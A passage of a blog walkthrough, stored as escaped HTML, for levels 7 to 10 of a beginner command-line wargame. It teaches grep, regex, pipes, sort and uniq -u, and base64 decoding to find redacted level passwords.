&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NAME&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   grep - print lines that match patterns&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SYNOPSIS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   grep [OPTION...] PATTERNS [FILE...]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   grep [OPTION...] -e PATTERNS ... [FILE...]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   grep [OPTION...] -f PATTERN_FILE ... [FILE...]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;DESCRIPTION&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   grep  searches for PATTERNS in each FILE. PATTERNS is one or more&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   patterns separated by newline characters, and grep prints each line that&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   matches a pattern. Typically PATTERNS should be quoted when grep is used in a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   shell command.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;According to the syntax description we should be able to search for patterns in a file with the following syntax.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;grep &amp;lt;PATTERN&amp;gt; &amp;lt;FILE&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Swapping in the values mentioned in the prompt will return the line we’re looking for.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ grep &amp;quot;millionth&amp;quot; data.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;millionth       [REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;regex&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#regex&quot; aria-label=&quot;Anchor link for: regex&quot;&gt;Regex&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Grep and more generally &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Regular_expression&quot;&gt;regular expressions&lt;&#x2F;a&gt; (regex) are extremely useful. You’ll find many applications have integrated support for text search via regex. In particular text editors, word processors, and programming IDEs.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;To explore regex more I highly recommend reading through the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.regular-expressions.info&#x2F;quickstart.html&quot;&gt;Regex Quick Start Guide&lt;&#x2F;a&gt; from &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.regular-expressions.info&quot;&gt;regular-expression.info&lt;&#x2F;a&gt; to get a feel for what’s possible with regex and then follow that up with some experimentation on &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;regex101.com&quot;&gt;regex101.com&lt;&#x2F;a&gt;. This is a tool that visualizes regex matches. Drop any text you want into it and try out all kinds of search patterns. Try to match words, letters, various combinations of upper and lowercase letters, punctuation, etc. Seeing regex in action and observing precisely what matches with different patterns will give you a much better intuition for what’s possible than anything I could write here.&lt;&#x2F;p&gt;
&lt;p&gt;Regex can get very complicated very quickly, so regex101 is also a great tool for debugging your regex. Definitely give it a bookmark, it’ll be a life saver. Trust me.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-8&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-8&quot; aria-label=&quot;Anchor link for: level-8&quot;&gt;Level 8&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;&#x2F;code&gt; and is the only line of text that occurs only once&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This level is the first that seriously benefits from chaining two commands together. In Bash this is done with the pipe &lt;code&gt;|&lt;&#x2F;code&gt; character. The pipe, when placed after a command will pass all of the output (stdout) into the input (stdin) of the command that follows it.&lt;&#x2F;p&gt;
&lt;p&gt;For example, we can combine the &lt;code&gt;ls&lt;&#x2F;code&gt; and &lt;code&gt;grep&lt;&#x2F;code&gt; commands to list only those files that contain “bash” in the name.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ls -a | grep bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.bash_logout&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.bashrc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Remember that the &lt;code&gt;-a&lt;&#x2F;code&gt; flag is necessary to list hidden or dot files.&lt;&#x2F;p&gt;
&lt;p&gt;Read through the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;ryanstutorials.net&#x2F;linuxtutorial&#x2F;piping.php&quot;&gt;Piping and Redirection&lt;&#x2F;a&gt; article provided under the helpful reading material section to learn more about piping.&lt;&#x2F;p&gt;
&lt;p&gt;Reviewing the recommended commands, one should stick out.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NAME&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   uniq - report or omit repeated lines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SYNOPSIS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   uniq [OPTION]... [INPUT [OUTPUT]]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;DESCRIPTION&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   Filter adjacent matching lines from INPUT (or standard input), writing&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;to OUTPUT (or standard output).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   With no options, matching lines are merged to the first occurrence.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;uniq&lt;&#x2F;code&gt; command is able to filter matching or repeated lines. Since we’re looking for a unique line in a file, this will be helpful. However, there is one caveat when using &lt;code&gt;uniq&lt;&#x2F;code&gt; that you must be aware of. The &lt;code&gt;uniq&lt;&#x2F;code&gt; command filters &lt;em&gt;adjacent matching&lt;&#x2F;em&gt; lines. This means that any matching lines that aren’t directly adjacent, won’t be filtered. So the first step must be to organize the file such that matching lines are adjacent. In other words the file should be sorted. The &lt;code&gt;sort&lt;&#x2F;code&gt; program is designed precisely for this use case.&lt;&#x2F;p&gt;
&lt;p&gt;For example, here’s the first 20 lines of &lt;code&gt;data.txt&lt;&#x2F;code&gt; when sorted.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sort data.txt | head -n20&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As mentioned before, the pipe &lt;code&gt;|&lt;&#x2F;code&gt; is useful here to send the output of the &lt;code&gt;sort&lt;&#x2F;code&gt; command to &lt;code&gt;uniq&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sort data.txt | uniq | head -n20&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0BKVRLEJQcpNx8wnSPxDLFnFKlQafKK6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0eJPctF8gK96ykGBBaKydhJgxSpTlJtz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0kJ7XHD4gVtNSZIpqyP1V45sfz9OBLFo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0lPOvKhpHZebxji0gdjtGCd5GWiZnNBj&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0REUhKk0yMqQOwei6NK9ZqIpE5dVlWWM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;1jfUH1m4XCjr7eWAeleGdaNSxFXRtX0l&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;1VKPEkd0bCtIRwMFVQfY7InulwOFyDsn&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2u8fvAzvnaFlvQG3iPt4Wc1TFhPcGxhH&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;35l6mr3f6TvlJyDwU6aUgJX07cLhr6t9&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;3FIgajXBiaQAiTMVGo1gxRDSiACNyvvJ&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;3mNA2le0gfURQKNHVIhGkMNLqLwjyyLN&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;4CKMh1JI91bUIZZPXDqGanal4xvAg0JM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;4P8FsHcdr7d5WKnPtAaXY5SslKICd2gL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;5EmwMKZHwF6Lwq5jHUaDlfFJBeHbcX0b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;5hYz0028e1Q2TrtPVz5GZbpMzZNjebhh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;5I2jWpqjtVp576xXI2TLh1UCyXJtGQ78&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;6Boy6esAjnIxCYn8uI6KZ7VD7zysDM8i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;7cP8ssLElERHXqOJc9T84bxsmJBjNXk2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;7qHmEo1FEbzthgyNpKc38YofXjYKZv18&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;8FCtUQlFXsJnNeyiDY5KfE3vRy6sZFEJ&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Well that’s strange. Why has &lt;code&gt;uniq&lt;&#x2F;code&gt; returned all those lines? If you read the description for &lt;code&gt;uniq&lt;&#x2F;code&gt; carefully, then one line explains this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;With no options, matching lines are merged to the first occurrence.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So essentially what we have here is a file with each unique line of the file where adjacent duplicates have been compressed into a single line. However, we want to list &lt;em&gt;only&lt;&#x2F;em&gt; the unique lines from the input. For that, the &lt;code&gt;-u&lt;&#x2F;code&gt; flag will meet our needs. The &lt;code&gt;-u&lt;&#x2F;code&gt; flag tells sort to only print &lt;em&gt;unique&lt;&#x2F;em&gt; lines. In other words, only lines without any duplicates in the input.&lt;&#x2F;p&gt;
&lt;p&gt;So finally, we have a solution.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ sort data.txt | uniq -u&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-9&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-9&quot; aria-label=&quot;Anchor link for: level-9&quot;&gt;Level 9&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;&#x2F;code&gt; in one of the few human-readable strings, preceded by several ‘=’ characters.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Once again we’re searching a file, so exploring our options with &lt;code&gt;grep&lt;&#x2F;code&gt; may be a good idea.&lt;&#x2F;p&gt;
&lt;p&gt;Trying a basic &lt;code&gt;grep&lt;&#x2F;code&gt; for several &lt;code&gt;=&lt;&#x2F;code&gt; characters doesn’t seem to work.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ grep &amp;#39;=== \w*&amp;#39; data.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;grep: data.txt: binary file matches&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;\w&lt;&#x2F;code&gt; is a shortcut for any word characters which equivalent to &lt;code&gt;[a-zA-Z0-9_]&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We can see here, that grep found some matches, but &lt;code&gt;data.txt&lt;&#x2F;code&gt; was interpreted as a binary file. We can force grep to process the file as if it were text with the &lt;code&gt;-a&lt;&#x2F;code&gt; flag.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ grep -a &amp;#39;=== \w*&amp;#39; data.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;D]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  h#!QJsVzl7POl%Y]Ha^UvToD|@T^N8g}b}?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;Q#gm1x}========== theѦ+idW^)F1&amp;gt;)٘SK3PZt&amp;amp;xs肉WB&#x2F;2ÜB       Ź&#x2F;Bjɢ&amp;lt;7&amp;lt;u&#x2F;d|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                                    -n&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;#iu=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    7֣n)Uջش5bBKK}x&amp;gt;}:4Rl_7gHD:274CFy&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;6!&amp;amp;zB$l_GphqI.02H$Twm⧫o3mt0p~L3JprD========== passwordi L ~ˏ&amp;lt;@Ȅh$%Q5Dk |3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;~Tf;o9sP#t+Pe΢쵟&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;OqDf.8Czmnf&amp;amp;vl:FXKbM&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                 CIBi&amp;gt;Y&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;Еk      $nXT=~}*4a2?TO&amp;quot;&amp;#39;&amp;amp;J~fDV3========== isd5z(#&amp;amp;s!10&amp;amp;poq&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;nR F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    z|!(if+A64+&amp;#39;FTb5A}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;éT:kAU2Qcɐ%#g+;YA_ekrX53|f8+e~&amp;amp;Oiu?VhM}^Qp^G==6!sT:     &amp;quot;uVa-t\fg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;]󈍅(.ۍg:7nnp CD`voSQ-&amp;lt;]`@#H UumBiAj堵!O&amp;amp;D9========== [REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;On the last line of the above output, you’ll find the password to the next level.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;It’s possible for &lt;code&gt;grep&lt;&#x2F;code&gt; to output the precise matching text instead of each entire line. The &lt;code&gt;-o&lt;&#x2F;code&gt; flag is needed to do this. It tells grep to only output the matched pattern.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellsession&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; grep -a -o &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;=== \w*&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; data.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;=== the&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;=== passwordi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;=== is&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;=== [REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This gives a much clearer picture of the password without all the surrounding binary data.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-10&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-10&quot; aria-label=&quot;Anchor link for: level-10&quot;&gt;Level 10&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;&#x2F;code&gt;, which contains &lt;strong&gt;base64&lt;&#x2F;strong&gt; encoded data&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This one is pretty straight forward. The prompt gives it away by mentioning that the data is Base64 encoded.&lt;&#x2F;p&gt;
&lt;p&gt;Check the manual for the &lt;code&gt;base64&lt;&#x2F;code&gt; command and you’ll find one of the first flags is &lt;code&gt;-d&lt;&#x2F;code&gt; for &lt;code&gt;--decode&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ base64 -d data.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;The password is [REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
